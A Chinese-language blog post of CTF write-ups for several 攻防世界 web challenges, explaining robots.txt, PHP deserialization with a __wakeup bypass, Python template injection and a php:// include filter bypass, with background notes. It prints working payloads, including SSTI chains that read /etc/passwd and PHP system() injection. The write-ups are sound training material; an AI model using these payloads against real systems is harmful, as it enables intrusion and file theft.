baby_web:

1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显,

2.在header中获取flag,

flag:

flag{very_baby_web}

Training-WWW-Robots:

1.进入页面,

2.直接:http://IP:端口/robots.txt就能够访问,得到robots协议,发现一个fl0g.php但是无法访问,我们尝试直接访问,(用御剑直接扫描靶场也可得到php文件,直接访问同样可以获取flag)

flag:

cyberpeace{79df38364a852059f581632c44d043bf}

补充:

关于robots:
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件。
它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。
因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。
如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。
robots协议并不是一个规范,而只是约定俗成的,所以并不能保证网站的隐私。

网站的根目录放一个robots.txt,会告诉搜索引擎这个网站里的那些文件可以访问,哪些不可以,

unserialize3:

1.进入页面,查看代码可知,要求通过_GET提交code值,绕过__wakeup()这个魔术方法,

2.利用反序列化漏洞:__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$x=new xctf();
echo serialize($x);
?>

获取反序列化的值:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

3.修改反序列化值为:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

flag:

cyberpeace{0246a70ac2b5885c194e9b6a0c6a3597}

补充:

php的序列化和反序列化:
php的序列化和反序列化由serialize()和unserialize()这两个函数来完成。
serialize()完成序列化的操作,将传入的值转换为序列化后的字符串,
而unserialize()完成反序列化的操作,将字符串转换成原来的变量。
(挂一张网图)

注意:
① 当属性为private属性时,它会在两侧加入空字节,导致其长度会增加2
② 序列化对象时只会序列化对象中的属性值,不会序列化其中的函数

魔术方法

PHP中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能


与序列化和反序列化的魔术方法主要是:

  • __construct() //当一个对象创建时被调用
  • __destruct() //对象被销毁时触发
  • __wakeup() //使用unserialize时触发
  • __sleep() //使用serialize时触发
  • __toString() //把类当做字符串时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性

参考:

https://blog.csdn.net/silence1_/article/details/89716976

Web_python_template_injection:

1.进入页面,通过{{3+4}}可以判断存在python模板注入,

2.利用{{config.items() }}可以查看服务器的配置信息

4.寻找可用引用,

{{''.__class__.__mro__[2].__subclasses__()}}

5.可以看到有一个type file类型(可以进行文件读取)

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

6.

7.

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

flag:

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} 

参考:

https://www.freebuf.com/column/187845.html

https://blog.csdn.net/iamsongyu/article/details/85861811

https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

https://xz.aliyun.com/t/2908

Web_php_include:

1.分析代码,可以看出只要有php://就会无限循环,

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

2. strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。

如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
strstr函数对大小写敏感,改成大写的PHP://

3.post传入:

<?php system("Is");?>

4.出现了三个文件,flag应该是在fl4g***.php这个文件中
用cat命令打开,<?php system ("cat fl4gisisish3r3.php")?>

flag:

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

参考:

(其他方法可以参考如下链接)
https://www.cnblogs.com/xhds/p/12218471.html

https://blog.csdn.net/Mr_helloword/article/details/107929653

攻防世界 - Web(一)的更多相关文章

  1. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  2. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  3. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  4. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  5. 攻防世界web新手区

    攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...

  6. XCTF攻防世界web进阶练习—mfw

    XCTF攻防世界web进阶练习-mfw题目为mfw,没有任何提示.直接打开题目,是一个网站 大概浏览一下其中的内容,看到其中url变化其实只是get的参数的变化查看它的源码,看到有一个?page=fl ...

  7. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  8. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  9. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  10. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

随机推荐

  1. Java 设计模式 —— 组合模式

    在现实生活中,存在很多"部分-整体"的关系,例如,大学中的部门与学院.总公司中的部门与分公司.学习用品中的书与书包.生活用品中的衣服与衣柜.以及厨房中的锅碗瓢盆等.在软件开发中也是 ...

  2. [OI笔记]杂题整理1(基础篇~)

    算是开学第四周啦,之前的三周大概过了一遍基础图论和数学相关的内容.这篇随笔打算口胡一些近期做感觉比较好的数学相关的题目 因为这段时间主要是看紫书学的,所以其实会有些出自UVA的例题,如果需要题目但是觉 ...

  3. iframe高度自动随着子页面的高度变化而变化(不止要在iframe标签里加上this.height=this.contentWindow.document.body.scrollHeight)

    最近使用iframe整合页面遇到一些难题,走了很多弯路才解决,借此记录一下: 1 <!-- 页面主体内容 --> 2 <div class="iframe-wrapper& ...

  4. ADF 第六篇:Copy Data Activity详解

    在Azure 数据工程中,可以使用Copy Data 活动把数据从on-premises 或云中复制到其他存储中.Copy Data 活动必须在一个IR(Integration Runtime)上运行 ...

  5. Python之复制列表

    将一个列表的数据复制到另外一个列表中. 1 a = [1,2,3] #定义列表a 2 3 b = a[:] #将列表a的切片赋值给b,也可以理解为将b的值设置为a[:] 4 5 print(a) #打 ...

  6. python序列(二)列表的删除操作

    1.使用del命令删除列表中的指定位置上的元素 >>> s=[1,2,3,4] >>> del s[1] >>> s [1, 3, 4] 2.使用 ...

  7. ribbon源码分析

    对于ribbon的使用我们只需要在RestTemplate的申明上面加上 @LoadBalanced 注解之后那么这个RestTemplate就具有了负载均衡的功能 ribbon是怎么实现这一功能的? ...

  8. [LeetCode]求两个链表的焦点--Intersection of Two Linked Lists

    标题题目地址 1.解题意 求解两个链表的焦点,这个交点并不是焦点的值相等,而是需要交点之后的数据是完全相等的. 落实到java层面,就是交点处的对象是同一个对象即可. ps:我最开始没有读懂题目,然后 ...

  9. 通配符的匹配很全面, 但无法找到元素 'dubbo:application' 的声明 解决办法

    直接升级dubbo的版本到2.6.4 下面的是我的项目的pom.xml配置的依赖 <dependency>                <groupId>com.alibab ...

  10. 企业集群架构-03-NFS

    NFS 目录 NFS NFS基本概述 NFS应用场景 NFS实现原理 NFS总结 NFS服务端安装 环境准备 服务端安装NFS 服务端NFS配置 服务端开机自启 服务端验证配置 NFS客户端挂载卸载 ...